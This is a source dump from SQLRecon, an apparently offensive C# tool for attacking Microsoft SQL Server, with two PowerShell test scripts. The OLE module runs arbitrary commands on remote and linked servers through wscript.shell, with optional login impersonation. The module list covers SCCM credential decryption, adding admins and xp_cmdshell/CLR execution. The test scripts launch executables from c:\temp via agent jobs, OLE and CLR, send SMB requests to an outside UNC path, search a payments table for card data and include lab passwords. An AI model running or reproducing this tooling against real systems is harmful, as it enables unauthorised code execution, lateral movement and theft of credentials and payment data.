-------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | using SQLRecon.Modules; 4 | using SQLRecon.Utilities; 5 | 6 | namespace SQLRecon.Commands 7 | { 8 | internal abstract class EnumerationModules 9 | { 10 | /// 11 | /// The Execute method will match the user supplied module in the 12 | /// Var.EnumerationModule variable against a method name and use reflection to execute 13 | /// the method in the local class. 14 | /// 15 | internal static void Execute() 16 | { 17 | // Reference: https://t.ly/rTjmp 18 | // Set the type name to this local class. 19 | Type type = Type.GetType(MethodBase.GetCurrentMethod().DeclaringType.ToString()); 20 | 21 | if (type != null) 22 | { 23 | // Match the method name to the enumeration module that has been supplied as an argument. 24 | MethodInfo method = type.GetMethod(Var.EnumerationModule); 25 | 26 | if (method != null) 27 | { 28 | // Call the method. 29 | method.Invoke(null, null); 30 | } 31 | else 32 | { 33 | // Go no further. 34 | Print.Error($"'{Var.EnumerationModule}' is an invalid enumeration module.", true); 35 | } 36 | } 37 | } 38 | 39 | /// 40 | /// The info method will send a UDP request to port 1434 on the remote SQL server 41 | /// along with the magic byte value of 0x02 to receive information about the 42 | /// SQL instance. 43 | /// An optional timeout argument is accepted. 44 | /// An optional port argument is accepted. 45 | /// Execution against multiple hosts using comma seperated values is supported. 46 | /// This method needs to be public as reflection is used to match the 47 | /// module name that is supplied via command line, to the actual method name. 48 | /// 49 | public static void info() 50 | { 51 | // Check if the required arguments are in place, otherwise, gracefully exit. 52 | if (CheckEnumArguments.Info() == false) return; 53 | 54 | if (Var.SqlServers.Length > 1) 55 | { 56 | for (int i = 0; i < Var.SqlServers.Length; i++) 57 | { 58 | // Set the Var.SqlServer global variable to the current SQL server in the array 59 | Var.SqlServer = Var.SqlServers[i]; 60 | 61 | Console.WriteLine(); 62 | Print.Status($"({i + 1}/{Var.SqlServers.Length}) " + 63 | $"Executing the 'info' enumeration module on {Var.SqlServers[i]}", true); 64 | 65 | Console.WriteLine(); 66 | Console.WriteLine(Info.GetInfoViaUdpRequest(Var.SqlServer, Int32.Parse(Var.Port), Int32.Parse(Var.Timeout))); 67 | } 68 | } 69 | else 70 | { 71 | Console.WriteLine(); 72 | Console.WriteLine(Info.GetInfoViaUdpRequest(Var.SqlServer, Int32.Parse(Var.Port), Int32.Parse(Var.Timeout))); 73 | } 74 | } 75 | 76 | /// 77 | /// The sqlspns method will enumerate if any hosts in the domain have SQL SPNs. 78 | /// An optional domain argument is accepted. 79 | /// This method needs to be public as reflection is used to match the 80 | /// module name that is supplied via command line, to the actual method name. 81 | /// 82 | public static void sqlspns() 83 | { 84 | if (Var.ParsedArguments.ContainsKey("domain") && !string.IsNullOrEmpty(Var.ParsedArguments["domain"])) 85 | { 86 | Var.Arg1 = Var.ParsedArguments["domain"]; 87 | // Use the domain supplied by the user. 88 | DomainSpns.GetSqlSpns(Var.Arg1); 89 | } 90 | else 91 | { 92 | // Use the current domain. 93 | DomainSpns.GetSqlSpns(""); 94 | } 95 | } 96 | } 97 | 98 | /// 99 | /// The CheckEnumArguments class validates arguments which are required for modules. 100 | /// 101 | internal abstract class CheckEnumArguments 102 | { 103 | internal static bool Info() 104 | { 105 | if (Var.ParsedArguments.ContainsKey("host") && !string.IsNullOrEmpty(Var.ParsedArguments["host"])) 106 | { 107 | 108 | // Check for single or multiple hosts in "/host" or "/h" and assign into Var.sqlServers 109 | if (Var.ParsedArguments.ContainsKey("host")) 110 | { 111 | // Var.SqlServers is an array which contains the single host, or comma-seperated hosts 112 | // supplied into the "/host" variable 113 | Var.SqlServers = Var.ParsedArguments["host"] 114 | .Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries); 115 | 116 | // Set the first host in the Var.SqlServers array to the initial connection host. 117 | Var.SqlServer = Var.SqlServers[0]; 118 | } 119 | 120 | // Optional timeout argument 121 | if (Var.ParsedArguments.ContainsKey("timeout") && !string.IsNullOrEmpty(Var.ParsedArguments["timeout"])) 122 | { 123 | // If the user supplied a timeout value, set this. 124 | Var.Timeout = Var.ParsedArguments["timeout"]; 125 | } 126 | 127 | // Optional port argument 128 | if (Var.ParsedArguments.ContainsKey("port") && !string.IsNullOrEmpty(Var.ParsedArguments["port"])) 129 | { 130 | // If the user supplied a port value, set this. 131 | Var.Port = Var.ParsedArguments["port"]; 132 | } 133 | else 134 | { 135 | Var.Port = "1434"; 136 | } 137 | 138 | return true; 139 | } 140 | else 141 | { 142 | Print.Error("Must supply one or more SQL servers (/h:, /host:)", true); 143 | // Go no further. 144 | return false; 145 | } 146 | } 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/commands/GlobalVariables.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Data.SqlClient; 3 | 4 | namespace SQLRecon.Commands 5 | { 6 | internal abstract class Var 7 | { 8 | internal static Dictionary CoreCommands => 9 | new() 10 | { 11 | {"a", "auth"}, 12 | {"c", "command"}, 13 | {"chain", "chain"}, 14 | {"d", "domain"}, 15 | {"debug","debug"}, 16 | {"e", "enum"}, 17 | {"h", "host"}, 18 | {"i", "iuser"}, 19 | {"l", "link"}, 20 | {"m", "module"}, 21 | {"o", "option"}, 22 | {"p", "password"}, 23 | {"s", "sccm"}, 24 | {"u", "username"}, 25 | {"t", "timeout"}, 26 | {"v", "verbose"} 27 | }; 28 | 29 | internal static Dictionary EnumerationModulesAndArgumentCount => 30 | new() 31 | { 32 | {"info", 1}, 33 | {"sqlspns", 0}, 34 | }; 35 | 36 | internal static Dictionary SccmModulesAndArgumentCount 37 | { 38 | get 39 | { 40 | return new Dictionary() 41 | { 42 | /* Module Description: 43 | 44 | Dictionary Key -> Module name 45 | Dictionary Value -> Number of required arguments for: 46 | 47 | - Standard modules in array position 0 48 | - Impersonation modules in array position 1 49 | 50 | The following modules have no Impersonation support, and have been set to -1: 51 | - decryptcredentials 52 | */ 53 | {"credentials", new[] { 0, 1 }}, 54 | {"decryptcredentials", new[] { 0, -1 }}, 55 | {"logons", new[] { 0, 1 }}, 56 | {"sites", new[] { 0, 1 }}, 57 | {"cidata", new[] { 0, 1 }}, 58 | {"scriptdata", new[] { 0, 1 }}, 59 | {"taskdata", new[] { 0, 1 }}, 60 | {"tasklist", new[] { 0, 1 }}, 61 | {"users", new[] { 0, 1 }}, 62 | {"addadmin", new[] { 2, 3 }}, 63 | {"removeadmin", new[] { 2, 3 }}, 64 | }; 65 | } 66 | } 67 | 68 | internal static Dictionary SqlModulesAndArgumentCount 69 | { 70 | get 71 | { 72 | return new Dictionary() 73 | { 74 | /* Module Description: 75 | 76 | Dictionary Key -> Module name 77 | Dictionary Value -> Number of required arguments for: 78 | 79 | - Standard modules in array position 0 80 | - Impersonation modules in array position 1 81 | - Linked modules in array position 2 82 | 83 | The following modules have no Linked or Chain support, and have been set to -1: 84 | - disablerpc 85 | - enablerpc 86 | */ 87 | 88 | {"agentstatus", new[] { 0, 1, 1 }}, 89 | {"auditstatus", new[] { 0, 1, 1 }}, 90 | {"checkrpc", new[] { 0, 1, 1 }}, 91 | {"databases", new[] { 0, 1, 1 }}, 92 | {"disableclr", new[] { 0, 1, 1 }}, 93 | {"disableole", new[] { 0, 1, 1 }}, 94 | {"disablexp", new[] { 0, 1, 1 }}, 95 | {"enableclr", new[] { 0, 1, 1 }}, 96 | {"enableole", new[] { 0, 1, 1 }}, 97 | {"enablexp", new[] { 0, 1, 1 }}, 98 | {"info", new[] { 0, 0, 0 }}, 99 | {"impersonate", new[] { 0, 0, 0 }}, 100 | {"links", new[] { 0, 1, 2}}, 101 | {"users", new[] { 0, 1, 2 }}, 102 | {"whoami", new[] { 0, 1, 2 }}, 103 | {"agentcmd", new[] { 1, 2, 2 }}, 104 | {"disablerpc", new[] { 1, 2, -1 }}, 105 | {"enablerpc", new[] { 1, 2, -1 }}, 106 | {"olecmd", new[] { 1, 2, 2 }}, 107 | {"query", new[] { 1, 2, 2 }}, 108 | {"search", new[] { 1, 2, 3 }}, 109 | {"smb", new[] { 1, 2, 2 }}, 110 | {"tables", new[] { 1, 2, 2 }}, 111 | {"xpcmd", new[] { 1, 2, 2 }}, 112 | {"adsi", new[] { 2, 3, 3 }}, 113 | {"clr", new[] { 2, 3, 3}}, 114 | {"columns", new[] { 2, 3, 3 }}, 115 | {"rows", new[] { 2, 3, 3 }} 116 | }; 117 | } 118 | } 119 | 120 | internal static string Arg1 { get; set; } 121 | 122 | internal static string Arg2 { get; set; } 123 | 124 | internal static string Arg3 { get; set; } 125 | 126 | internal static string AuthenticationType { get; set; } 127 | 128 | internal static string Context { get; set; } 129 | 130 | internal static SqlConnection Connect { get; set; } 131 | 132 | internal static string Database { get; set; } = "master"; 133 | 134 | internal static bool Debug { get; set; } 135 | 136 | internal static string Domain { get; set; } 137 | 138 | internal static string EnumerationModule { get; set; } 139 | 140 | internal static string Impersonate { get; set; } 141 | 142 | internal static string LinkedSqlServer { get; set; } 143 | 144 | internal static string[] LinkedSqlServers { get; set; } 145 | 146 | internal static string[] LinkedSqlServersChain { get; set; } 147 | 148 | internal static bool LinkedSqlServerChain { get; set; } 149 | 150 | internal static string Module { get; set; } 151 | 152 | internal static Dictionary ParsedArguments { get; set; } 153 | 154 | internal static string Password { get; set; } 155 | 156 | internal static string Port { get; set; } = "1433"; 157 | 158 | internal static string SccmModule { get; set; } 159 | 160 | internal static string SqlServer { get; set; } 161 | 162 | internal static string[] SqlServers { get; set; } 163 | 164 | internal static string Username { get; set; } 165 | 166 | internal static string Timeout { get; set; } = "3"; 167 | 168 | internal static bool Verbose { get; set; } 169 | } 170 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/SQLRecon.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {612C7C82-D501-417A-B8DB-73204FDFDA06} 8 | Exe 9 | SQLRecon 10 | SQLRecon 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | false 16 | publish\ 17 | true 18 | Disk 19 | false 20 | Foreground 21 | 7 22 | Days 23 | false 24 | false 25 | true 26 | 1 27 | 1.0.0.%2a 28 | false 29 | true 30 | true 31 | 10 32 | 33 | 34 | AnyCPU 35 | true 36 | full 37 | false 38 | bin\Debug\ 39 | DEBUG;TRACE 40 | prompt 41 | 4 42 | 43 | 44 | AnyCPU 45 | pdbonly 46 | true 47 | bin\Release\ 48 | TRACE 49 | prompt 50 | 4 51 | 52 | 53 | true 54 | bin\x64\Debug\ 55 | DEBUG;TRACE 56 | full 57 | x64 58 | 9.0 59 | prompt 60 | true 61 | 62 | 63 | bin\x64\Release\ 64 | TRACE 65 | true 66 | pdbonly 67 | x64 68 | 9.0 69 | prompt 70 | true 71 | 72 | 73 | BDE9B59055710A99256305A2E2F7B5ECD141C61F 74 | 75 | 76 | SQLRecon_TemporaryKey.pfx 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | LocalIntranet 86 | 87 | 88 | Properties\app.manifest 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | False 138 | Microsoft .NET Framework 4.7.2 %28x86 and x64%29 139 | true 140 | 141 | 142 | False 143 | .NET Framework 3.5 SP1 144 | false 145 | 146 | 147 | 148 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/modules/OleAutomation.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Data.SqlClient; 3 | using SQLRecon.Commands; 4 | using SQLRecon.Utilities; 5 | 6 | namespace SQLRecon.Modules 7 | { 8 | internal abstract class Ole 9 | { 10 | /// 11 | /// The StandardOrImpersonation method will create a OLE object on a remote SQL 12 | /// server and use wscript.shell to execute an arbitrary command. 13 | /// Impersonation is supported. 14 | /// 15 | /// 16 | /// 17 | /// 18 | internal static void StandardOrImpersonation(SqlConnection con, string command, string impersonate = null) 19 | { 20 | // Generate a new random output and program name. 21 | string output = RandomStr.Generate(8); 22 | string program = RandomStr.Generate(8); 23 | 24 | // The queries dictionary contains all queries used by this module 25 | Dictionary queries = new Dictionary 26 | { 27 | { "execute_ole", string.Format(Query.OleExecution, output, program, command) } 28 | }; 29 | 30 | // If impersonation is set, then prepend all queries with the 31 | // "EXECUTE AS LOGIN = '" + impersonate + "'; " statement. 32 | if (!string.IsNullOrEmpty(impersonate)) 33 | { 34 | queries = Format.ImpersonationDictionary(impersonate, queries); 35 | } 36 | 37 | // If /debug is provided, only print the queries then gracefully exit the program. 38 | if (Print.DebugQueries(queries)) 39 | { 40 | // Go no further 41 | return; 42 | } 43 | 44 | // First check to see if ole automation procedures is enabled. 45 | // Impersonation is supported. 46 | bool status = (string.IsNullOrEmpty(impersonate)) 47 | ? Config.ModuleStatus(con, "Ole Automation Procedures") 48 | : Config.ModuleStatus(con, "Ole Automation Procedures", impersonate); 49 | 50 | if (status == false) 51 | { 52 | Print.Error("You need to enable OLE Automation Procedures (enableole).", true); 53 | // Go no further. 54 | return; 55 | } 56 | 57 | Print.Status($"Setting sp_oacreate to '{output}'.", true); 58 | Print.Status($"Setting sp_oamethod to '{program}'.", true); 59 | 60 | _printStatus(output, program, Sql.Query(con, queries["execute_ole"])); 61 | } 62 | 63 | /// 64 | /// The LinkedOrChain method will create a OLE object on a remote linked SQL 65 | /// server and use wscript.shell to execute an arbitrary command. 66 | /// Execution against the last SQL server specified in a chain of linked SQL servers is supported. 67 | /// 68 | /// 69 | /// 70 | /// 71 | /// 72 | internal static void LinkedOrChain(SqlConnection con, string command, string linkedSqlServer, string[] linkedSqlServerChain = null) 73 | { 74 | // Generate a new random output and program name. 75 | string output = RandomStr.Generate(8); 76 | string program = RandomStr.Generate(8); 77 | bool status; 78 | 79 | // The queries dictionary contains all queries used by this module 80 | Dictionary queries = new Dictionary 81 | { 82 | { "execute_ole", string.Format(Query.OleLinkedExecution, output, program, command) } 83 | }; 84 | 85 | if (linkedSqlServerChain == null) 86 | { 87 | // Format all queries so that they are compatible for execution on a linked SQL server. 88 | queries = Format.LinkedDictionary(linkedSqlServer, queries); 89 | 90 | // First check to see if xp_cmdshell is enabled. 91 | status = Config.LinkedModuleStatus(con, "Ole Automation Procedures", linkedSqlServer); 92 | } 93 | else 94 | { 95 | // Format all queries so that they are compatible for execution on the last SQL server specified in a linked chain. 96 | queries = Format.LinkedChainDictionary(linkedSqlServerChain, queries); 97 | 98 | // First check to see if xp_cmdshell is enabled. 99 | status = Config.LinkedModuleStatus(con, "Ole Automation Procedures", null, linkedSqlServerChain); 100 | } 101 | 102 | if (status == false) 103 | { 104 | Print.Error("You need to enable OLE Automation Procedures (enableole).", true); 105 | // Go no further. 106 | return; 107 | } 108 | 109 | // If /debug is provided, only print the queries then gracefully exit the program. 110 | if (Print.DebugQueries(queries)) 111 | { 112 | // Go no further 113 | return; 114 | } 115 | 116 | Print.Status($"Setting sp_oacreate to '{output}'.", true); 117 | Print.Status($"Setting sp_oamethod to '{program}'.", true); 118 | 119 | _printStatus(output, program, Sql.CustomQuery(con, queries["execute_ole"])); 120 | } 121 | 122 | /// 123 | /// The _printStatus method will display the status of the 124 | /// OLE command execution. 125 | /// 126 | /// 127 | /// 128 | /// 129 | private static void _printStatus (string output, string program, string sqlOutput) 130 | { 131 | if (sqlOutput.Contains("0")) 132 | { 133 | Print.Success($"Executed command. Destroyed '{output}' and '{program}'.", true); 134 | } 135 | else if (sqlOutput.Contains("permission")) 136 | { 137 | Print.Error("The current user does not have permissions to enable OLE Automation Procedures.", true); 138 | } 139 | else if (sqlOutput.Contains("blocked")) 140 | { 141 | Print.Error("You need to enable OLE Automation Procedures.", true); 142 | } 143 | else 144 | { 145 | Print.Error($"{sqlOutput}.", true); 146 | } 147 | } 148 | } 149 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/tests/SQLRecon-Linked-Modules-Test.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Execution instructions: 3 | powershell.exe -nop -exec bypass .\SQLRecon-Linked-Modules-Test.ps1 4 | #> 5 | 6 | <# 7 | The $global:* variables do not need to be changed. 8 | The only exception is $global:modules, which can be 9 | changed to match the number of test cases you execute. 10 | #> 11 | $global:timeout = 1 12 | $global:count = 1 13 | $global:modules = 37 14 | $global:timestamp = Get-Date -Format "MM-dd-yyyy-HH-mm" 15 | 16 | <# 17 | The $authentication variable acts as a quick way to 18 | switch the authentication type for the following commands. 19 | #> 20 | $authentication = "WinToken" 21 | #$authentication = "WinDomain /domain:kawalabs /username:jsmith /password:Password123" 22 | #$authentication = "WinDomain /domain:kawalabs /username:admin /password:Password123" 23 | #$authentication = "Local /username:sa /password:Password123" 24 | #$authentication = "EntraID /domain:x.onmicrosoft.com /username:jsmith /password:Password123" 25 | #$authentication = "AzureLocal /username:sa /password:Password123" 26 | 27 | <# 28 | The following variables can be changed. 29 | - $sqlreconPath is the path to where SQLRecon is on disk. 30 | - $server1 is the hostname or IP of a SQL server. 31 | - $server2 is the hostname or IP of a SQL server, I use this for linked SQL servers. 32 | - $server3 is the hostname or IP of a SQL server, you might not need this. 33 | - $server4 is the hostname or IP of a SQL server, you might not need this. 34 | - $server5 is the hostname or IP of a SQL server, you might not need this. 35 | - $outputPath is where you want to output the results of this script on disk in markdown. 36 | keep in mind that the path can not have special characters like ':'. '-' is fine. 37 | #> 38 | $sqlreconPath = ".\SQLRecon.exe" 39 | $server1 = "SQL01" 40 | $server2 = "SQL02" 41 | $server3 = "SQL03" 42 | $server4 = "MECM01" 43 | $authenticationFormatted = $authentication.replace(' ','-').replace('/','').replace('.','-').replace(':','-') 44 | $outputPath = $PSScriptRoot + "\sqlrecon-linked-$authenticationFormatted-$global:timestamp.md" 45 | 46 | <# 47 | .Description 48 | The Execute function executes a supplied SQLRecon command. 49 | #> 50 | Function Execute($command) 51 | { 52 | Write-Output "($global:count/$global:modules)" 53 | Write-Output $command 54 | Write-Output "" 55 | Write-Output "Expected Output:" 56 | Write-Output '```' 57 | Invoke-Expression $command 58 | Write-Output '```' 59 | Write-Output "" 60 | Invoke-Expression "timeout /t $global:timeout" | Out-Null 61 | $global:count++ 62 | } 63 | 64 | # Configuring output to file. 65 | $ErrorActionPreference="SilentlyContinue" 66 | Stop-Transcript | out-null 67 | $ErrorActionPreference = "Continue" 68 | Start-Transcript -path $outputPath 69 | 70 | Write-Output "---------------------------------------------------------------------" 71 | Write-Output "[+] SQLRecon - Linked Modules Test Cases" 72 | Write-Output "[+] Variables Set:" 73 | Write-Output " |-> SQLRecon Path: $sqlreconPath" 74 | Write-Output " |-> Ouput Path: $outputPath" 75 | Write-Output " |-> Authentication: $authentication" 76 | Write-Output " |-> SQL Server 1: $server1" 77 | Write-Output " |-> SQL Server 2: $server2" 78 | Write-Output " |-> SQL Server 3: $server3" 79 | Write-Output " |-> SQL Server 4: $server4" 80 | Write-Output " |-> Execution Comand: $executionCommand" 81 | Write-Output "[+] Starting test cases against $modules modules at $global:timestamp" 82 | Write-Output "---------------------------------------------------------------------" 83 | Write-Output "" 84 | 85 | 86 | # Add test cases in this area. In this case there are 37, which is why $global:modules is set to 37. 87 | Write-Output "" 88 | Write-Output "[+] Executing commands - expected to fail to validate error handling" 89 | Write-Output "" 90 | Execute "$sqlreconPath /auth:$authentication /host:$server1,$server2 /link:$server1,$server2 /m:links" 91 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /link:$server1 /i:sa /m:links" 92 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /link:$server2 /m:enablerpc" 93 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /link:$server2 /m:disablerpc" 94 | Write-Output "" 95 | Write-Output "[+] Executing unprivileged commands" 96 | Write-Output "" 97 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:info" 98 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:whoami" 99 | Execute "$sqlreconPath /a:$authentication /h:$server3 /l:$server4 /m:users" 100 | Execute "$sqlreconPath /a:$authentication /h:$server2 /l:$server3 /m:links" 101 | Execute "$sqlreconPath /a:$authentication /h:$server2 /l:$server3 /m:impersonate" 102 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:databases" 103 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:auditstatus" 104 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:checkrpc" 105 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:tables /db:Payments" 106 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:query /c:'select @@servername'" 107 | Execute "$sqlreconPath /a:$authentication /h:$server3 /l:$server4 /m:smb /unc:\\172.16.10.21\test" 108 | Write-Output "" 109 | Write-Output "[+] Executing Privileged Commands" 110 | Write-Output "" 111 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:columns /db:Payments /table:cc" 112 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:rows /db:Payments /table:cc" 113 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:search /db:Payments /keyword:card" 114 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:disableclr" 115 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:disableole" 116 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:disablexp" 117 | Execute "$sqlreconPath /a:$authentication /h:$server3 /l:$server4 /m:disableclr" 118 | Execute "$sqlreconPath /a:$authentication /h:$server3 /l:$server4 /m:disableole" 119 | Execute "$sqlreconPath /a:$authentication /h:$server3 /l:$server4 /m:disablexp" 120 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:enableclr" 121 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:enableole" 122 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /m:enablexp" 123 | Execute "$sqlreconPath /a:$authentication /h:$server3 /l:$server4 /m:enableclr" 124 | Execute "$sqlreconPath /a:$authentication /h:$server3 /l:$server4 /m:enableole" 125 | Execute "$sqlreconPath /a:$authentication /h:$server3 /l:$server4 /m:enablexp" 126 | Execute "$sqlreconPath /a:$authentication /h:$server2 /l:$server3 /m:adsi /adsi:linkadsi /lport:30000" 127 | Execute "$sqlreconPath /a:$authentication /h:$server2 /l:$server3 /m:agentstatus" 128 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:agentcmd /subsystem:cmdexec /command:'c:\temp\mb-l1.exe'" 129 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:agentcmd /c:'c:\temp\mb-l2.exe'" 130 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:clr /dll:'c:\temp\sql.dll' /function:Chicken" 131 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:olecmd /c:'c:\temp\mb-l3.exe'" 132 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2 /m:xpcmd /c:'notepad'" 133 | Write-Output "---------------------------------------------------------------------" 134 | Write-Output "[+] SQLRecon - Linked Modules Test Cases" 135 | Write-Output "[+] Completed test cases against $modules modules at $global:timestamp" 136 | Write-Output "---------------------------------------------------------------------" 137 | Stop-Transcript -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/tests/SQLRecon-Linked-Chain-Modules-Test.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Execution instructions: 3 | powershell.exe -nop -exec bypass .\SQLRecon-Linked-Chain-Modules-Test.ps1 4 | #> 5 | 6 | <# 7 | The $global:* variables do not need to be changed. 8 | The only exception is $global:modules, which can be 9 | changed to match the number of test cases you execute. 10 | #> 11 | $global:timeout = 1 12 | $global:count = 1 13 | $global:modules = 31 14 | $global:timestamp = Get-Date -Format "MM-dd-yyyy-HH-mm" 15 | 16 | <# 17 | The $authentication variable acts as a quick way to 18 | switch the authentication type for the following commands. 19 | #> 20 | $authentication = "WinToken" 21 | #$authentication = "WinDomain /domain:kawalabs /username:jsmith /password:Password123" 22 | #$authentication = "WinDomain /domain:kawalabs /username:admin /password:Password123" 23 | #$authentication = "Local /username:sa /password:Password123" 24 | #$authentication = "EntraID /domain:x.onmicrosoft.com /username:jsmith /password:Password123" 25 | #$authentication = "AzureLocal /username:sa /password:Password123" 26 | 27 | <# 28 | The following variables can be changed. 29 | - $sqlreconPath is the path to where SQLRecon is on disk. 30 | - $server1 is the hostname or IP of a SQL server. 31 | - $server2 is the hostname or IP of a SQL server, I use this for linked SQL servers. 32 | - $server3 is the hostname or IP of a SQL server, you might not need this. 33 | - $server4 is the hostname or IP of a SQL server, you might not need this. 34 | - $outputPath is where you want to output the results of this script on disk in markdown. 35 | keep in mind that the path can not have special characters like ':'. '-' is fine. 36 | #> 37 | $sqlreconPath = ".\SQLRecon.exe" 38 | $server1 = "SQL01" 39 | $server2 = "SQL02" 40 | $server3 = "SQL03" 41 | $server4 = "MECM01" 42 | $authenticationFormatted = $authentication.replace(' ','-').replace('/','').replace('.','-').replace(':','-') 43 | $outputPath = $PSScriptRoot + "\sqlrecon-linked-chain-$authenticationFormatted-$global:timestamp.md" 44 | 45 | <# 46 | .Description 47 | The Execute function executes a supplied SQLRecon command. 48 | #> 49 | Function Execute($command) 50 | { 51 | Write-Output "($global:count/$global:modules)" 52 | Write-Output $command 53 | Write-Output "" 54 | Write-Output "Expected Output:" 55 | Write-Output '```' 56 | Invoke-Expression $command 57 | Write-Output '```' 58 | Write-Output "" 59 | Invoke-Expression "timeout /t $global:timeout" | Out-Null 60 | $global:count++ 61 | } 62 | 63 | # Configuring output to file. 64 | $ErrorActionPreference="SilentlyContinue" 65 | Stop-Transcript | out-null 66 | $ErrorActionPreference = "Continue" 67 | Start-Transcript -path $outputPath 68 | 69 | Write-Output "---------------------------------------------------------------------" 70 | Write-Output "[+] SQLRecon - Linked Chain Modules Test Cases" 71 | Write-Output "[+] Variables Set:" 72 | Write-Output " |-> SQLRecon Path: $sqlreconPath" 73 | Write-Output " |-> Ouput Path: $outputPath" 74 | Write-Output " |-> Authentication: $authentication" 75 | Write-Output " |-> SQL Server 1: $server1" 76 | Write-Output " |-> SQL Server 2: $server2" 77 | Write-Output " |-> SQL Server 3: $server3" 78 | Write-Output " |-> SQL Server 4: $server4" 79 | Write-Output " |-> Execution Comand: $executionCommand" 80 | Write-Output "[+] Starting test cases against $modules modules at $global:timestamp" 81 | Write-Output "---------------------------------------------------------------------" 82 | Write-Output "" 83 | 84 | # Add test cases in this area. In this case there are 31, which is why $global:modules is set to 31. 85 | Write-Output "" 86 | Write-Output "[+] Executing commands - expected to fail to validate error handling" 87 | Write-Output "" 88 | Execute "$sqlreconPath /auth:$authentication /host:$server1,$server2 /link:$server1,$server2,$server3 /chain /m:links" 89 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /link:$server2,$server3 /i:sa /chain /m:links" 90 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /link:$server2,$server3,$server4 /chain /m:enablerpc" 91 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /link:$server2,$server3,$server4 /chain /m:disablerpc" 92 | Write-Output "" 93 | Write-Output "[+] Executing unprivileged commands" 94 | Write-Output "" 95 | # Add test cases in this area. In this case there are 28, which is why $global:modules is set to 28. 96 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:info" 97 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:whoami" 98 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:users" 99 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:databases" 100 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:auditstatus" 101 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:impersonate" 102 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:links" 103 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:tables /db:master" 104 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:query /c:'select @@servername'" 105 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:checkrpc" 106 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:smb /unc:\\172.16.10.21\test" 107 | Write-Output "" 108 | Write-Output "[+] Executing Privileged Commands" 109 | Write-Output "" 110 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:columns /db:master /table:spt_values" 111 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:rows /db:master /table:spt_values" 112 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3 /chain /m:search /db:master /keyword:a" 113 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:disableclr" 114 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:disableole" 115 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:disablexp" 116 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 /chain /m:enableclr" 117 | Execute "$sqlreconPath /a:$authentication /h:$server1 /l:$server2,$server3,$server4 